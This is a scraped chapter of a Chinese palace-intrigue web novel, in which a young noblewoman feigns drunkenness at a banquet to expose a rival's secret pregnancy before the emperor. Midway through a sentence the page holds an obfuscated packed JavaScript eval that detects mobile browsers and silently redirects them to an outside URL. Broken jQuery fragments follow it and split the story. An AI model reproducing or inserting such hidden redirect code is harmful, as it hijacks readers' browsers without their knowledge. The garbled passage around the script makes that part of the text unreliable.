56. 第 56 章

作品:《檀奴(重生)

    她早就知道,当然是他,但亲耳听到的威力远比猜测来得更加裂心。


    崔护究竟是做了什么值得他如此下杀手,姚春盈又与崔护有什么恩怨,竟一点活路也不可肯给他!


    越清宁咬着唇瓣,想到这些仇人此刻还在眼前仿若无事的谈笑风生,她只感觉无比恶心。


    他们的每一声笑里都有崔家的哭声,每张一次口,只能在里面瞧见森森利齿,鲜血淋漓喷出血沫,那是嚼着崔护的骨血留下的惨证。


    她紧紧的攥着拳头,直到在掌心留下数个不一的指甲印。


    滕携蓟瞧见了,上前将她的手握在手心轻轻握了下,似是表示她也懂得她的不情愿,但终归这一干人等要拜他这个人面兽心的太子。


    滕携蓟拽着她转身,越清宁在一瞬间就整理好了自己的表情。


    她恭敬的弯下腰,咬出鲜血的唇瓣轻轻一碰。


    “见过太子殿下。”


    她说得十分的轻,但在心里狠狠地,用力的念着“萧衍”二字。


    太子的目光在人群中看过一圈,发现也没什么好瞧的,除去表妹,唯二两个美人都是不待见他的,因而不一会儿便失了兴致,打发了她们牵着表妹去了。


    众人也在轰然间三两散走,滕携蓟见她咬得下唇血腥不堪,哀叹一声。


    “你何苦这样为难自己呢?”


    这一句直将她一整天的掩饰给揭了下去,越清宁苦着脸,双唇蠕动半天,眼泪先行替她诉冤,噼里啪啦的接连滚下来。


    滕携蓟将她引到个无人的院墙后头,抹了抹她的脸,神色也显出些悲痛难言。


    “崔四郎自出事之后再不来我院墙蹲着了,我心中担忧他出什么事,去他家瞧过。只见护国公一夜之间头发花白,再没有从前那等的神采奕奕,崔景也不愿见人,我等了好久才终于熬到他愿意开门。”


    说到这,她拧着眉头,好似想起那日见到的崔景是怎么一副颓败样子。


    时至今日,他彻底失去了所有兄长,连跟他最近的哥哥也这么荒唐的死在异国,他心中悲愤难平,见她来了,双眼狠狠地闭在一起,连说话的力气都没有,接连摆手叫她回去,不想她看见他这幅形容。


    但她哪能走呢?崔景曾在她人生最低谷的时刻,没日没夜的给她讲道理,拉她抵达岸边,她又怎么能在这种时候弃他而去。


    滕携蓟看向近在咫尺的越清宁,她才多久不见,竟然已经瘦得套在四五层衣襟里都晃荡,脸上铺了厚厚的一层脂粉,看着像个时日无多的艳鬼似的到处游荡。


    崔护是她未婚夫婿,她与崔景都痛失至亲,此刻依旧支撑自己站住了不要倒,不过是因为藏在心里的仇,不报便不得安宁。


    她懂得,于是非但不劝,更要在这种时候帮他们一把。


    滕携蓟扶住她颤抖的手腕,瞧着她认真道:“你的心思我都明白,崔景也同我说了他的猜测。”


    说到这,她瞧着越清宁惨白的脸忽然转移了话题。


    “你有没有瞧见刚才姚春盈的样子?”


    她说,“你有没有瞧见她吃那些没人肯动的酸话梅?还有她起身时抚着衣襟的动作。”


    越清宁方才饱含悲苦与戾气的心,听见这句忽然消散了些,她神智在浓雾之中逐渐清醒,随着她喃喃道。


    “姐姐是想说……”


    滕携蓟答“我看她是有了身孕。”


    身孕?


    咚得一声巨响,心底的石头骤然落地激起一片心颤,越清宁又哭又笑的不知怎样一副表情。


    她与太子尚未成婚,竟然有了身孕!


    这难不成是天赐良机,上苍都看不过去太子暴行给她的启示?


    越清宁咧着嘴,两眼充斥着血红笑得苦涩。


    好……好啊!既然这中间有姚春盈的一笔账,那就不要怪她借着这个不应该出现的孩子来对付她。


    她问,“姐姐可确信她的确有孕?”


    滕携蓟犹豫了下,“看她的样子若不是有孕实难解释,不过也有可能是假孕,没把过脉我也不能确信。”


    这就够了。


    越清宁点点头,如释重负一般,“我们先去找长公主,等下还有要用到姐姐的地方,请姐姐帮我!”


    见了滕携蓟点头,两人匆忙赶往临湖的小亭。


    正是晌午时分,湖面上的荷花都开了,粉粉绒绒甚是可爱,所有宾客都在临湖的一面临时搭建的素棚下落座。男子与女娘们分坐,长公主作为所有女子中最尊贵的人,自然占于上首。


    排座的丫鬟也不知是怎么安排的,竟然把小辈们这几个互相不对付的凑到了一块去。


    看着姚春盈提着裙子落了座,越清宁快步上前走到她身侧,撩起裙摆跪坐下去,另一头滕携蓟也挤开了岑荣坐在她另一侧。


    等到众人齐齐落座,姚春盈这才发现自己竟然被她俩夹在了当间。


    但眼瞧众人都不再起身挪动,只有丫鬟们还左右布菜,她也不好此时站起来引起注意。


    等到菜上齐了,长公主第一杯便是敬坐于左手上位的皇后。


    “此番还是借着皇后的面子才没过此等美景。”


    皇后忙接“殿下缪赞了!一切皆是陛下的旨意。陛下早有打算重阳佳节亲人团聚,这次不过是借着我的名罢了。”


    两人实算不上有多亲近,甚至长公主丧夫之后不愿入宫,同她这个继后甚至都没见过几面。


    两人寒暄几句,长公主便叫众人开席。


    越清宁饮了几口杯中淡酒,抬眼便瞧见,姚春盈始终没动酒杯,这幅样子应是早就知道自己怀了身孕,不宜饮酒。


    她眼皮一放,登下有了主意。


    手拿酒杯,向她恭敬的俯身垂首道。


    “姐姐,刚才是我不好,一时撞了邪也不知道说了什么混账话,你可千万要原谅我!”


    姚春盈眉心狠狠一皱,她烦她饭得心焦,但在席上众人都是体面人,她也不好在此刻同她发作,只好捏着手心说“没事,快起来”。


    不过这越家女不知怎的,像是没完没了的架势,见她不接,自己咕咚咕咚的灌了一杯又一杯,声量也越来越大,看样子是要把酒疯耍在席间。


    姚春盈左右看了两眼,有些尴尬的冲着注意到这边的皇后和长公主摇摇头。


    她也不清楚越清宁今天是吃了什么迷魂药了,像是要在贵人面前出丑,连带着也不让她好过。


    “姐姐,吃了这杯酒,我就当你原谅我的赔罪,只要你吃了,我发誓再不在你跟前现眼了!”


    姚春盈被她逼着往后退了两寸,但身后也有其他人,更是避无可避,她一脸想发怒又强忍的表情,推开越清宁端过来的酒。


    “我不善饮酒,你的话我听到了,就此作罢吧!”


    咬出的字句想劝住胡来之人,可眼前人好似没听见似的,提高声量又说了一遍。


    “请姐姐,原谅我吧!”


    皇后那头也听见了这声,以为有人在刁难姚氏。


    她不喜这位姚家女,哥哥也说太子糊涂,怎么不听他的话选一位母族的太子妃。


    但太子毕竟长大了,有自己的主意了,说什么也不肯应和他们的意思,偏要这个姚氏入宫,甚至为此和哥哥大吵一架。


    皇后眉心紧蹙,本就十分不满她插在哥哥与太子中间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260024|178814||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,离间二人的感情,但毕竟已经是选定了的人,既然改变不了,也不好让她在众人面前丢太子的脸。


    “什么事?”


    皇后身边的嬷嬷立刻绕过来,替她询问事由。


    越清宁见人过来,假装晃悠的一捂脑袋,不小心将手中酒杯翻倒,一下子都泼在了姚春盈正欲躲避的衣襟上头。


    “哎呀!你这是做什么……”


    还没等她抱怨,越清宁忽然醒酒了似的扑了上去,在她单薄的轻纱上头一阵乱擦。


    “对不住!是我酒气上头没拿住酒杯,冲撞了姐姐。”


    姚春盈对她避之不及,推开她作乱的手就要站起来,谁知,始终埋头拽着她裙摆的越清宁忽而抬起脑袋,对着她的脸愣愣一句。


    “姐姐,你怎么发烧了?你身上好烫。”


    说着掐了她手腕往上一提,姚春盈半只手臂都被她举在空中顿时羞臊的要命,生怕有些不应该的印子被众人瞧见。她不顾一切的将人狠推了过去,只听噼里啪啦的一阵乱响。


    越清宁往后沉沉一跌,直将席上所有贵女稀里哗啦撞得跌倒一整片。


    她不知所措的愣在原地,心道自己也没这么大的力气。


    那头赏乐的一干大人物也听到了这头的动静,皇帝脸色阴沉,亲自过来,惊得所有人都起身叩拜。


    “大好的日子作得什么孽!”


    怒气冲冲的一声龙颜震怒,在场所有人都不敢再吭声,只有尚倒在酒桌间没起来的越清宁还窸窸窣窣嘀咕着什么。


    皇帝身侧的大太监立刻叫了人将她拎起来,拽到皇帝面前。


    一打眼见她,皇帝便气不打一处来。


    去年冬末皇姐曾向他求过,给这孩子同崔护赐婚,但是一个权臣,一个武将,这两个凑在一起不知道还要搞出多少动荡,他早就经历过更加知道其中掣肘,当时便否了这桩婚。


    没想到这两家见没有皇家恩典,竟然自行凑到了一块去,若不是崔护意外死在术忽,保不成崔家和越家真会联合起来给他找麻烦。


    但……想到崔家一共四个孩子,如今只剩一个了。


    皇帝的脸上也有些难堪,毕竟都是为国捐躯,为他办事死于异乡,这么远的地方,尸身都送不回来。


    这样一想,因着愧疚,对崔家这个未过门的儿媳亦是生出些耐心。


    “嚷什么呢?身为女子怎可如此言行无状!”


    越清宁好似被他吓得酒醒了不少,此刻跪在地上,红着张脸几乎是紧紧贴在地上。


    “不敢惊扰陛下,实是刚才见佳节团圆,触景生情,一时出神没注意多饮了些这才惊到了席间贵女。”


    越尚书此时在后头挤了过来,见自己孩子跪在地上,连忙上前同她一道跪下。


    皇帝见越尚书都这般,也没什么在意,命他领着女儿赶紧归家醒酒,这便要回席。


    谁料,身后安安静静等候斥责的小姑娘忽然高嚷,“启禀陛下!刚才清宁无状应是伤到了某位姐姐,还请陛下给找来位御医瞧瞧,清宁若是就此回去,实难安然。”


    她身后,本以为无事的姚春盈恐慌的瞪大了眼睛,她一连后退好几步,却正好撞在另一人手里。


    只听她淡淡笑道,“我给姑娘把脉即可,用不着惊扰旁人。”


    姚春盈目眦具裂,刚要拧腕逃走,只见这向来柔顺温婉的滕携蓟忽然死死掐住她的手腕,瞪大了眼,好似未曾料到一般惊叫一声。


    “你有身孕了?”


    此言一出,众人一片哗然,在人群之前看热闹的太子听见此声,拧眉似是要吃人似的凶相毕露,还未出言就已经叫人猜到事关于谁。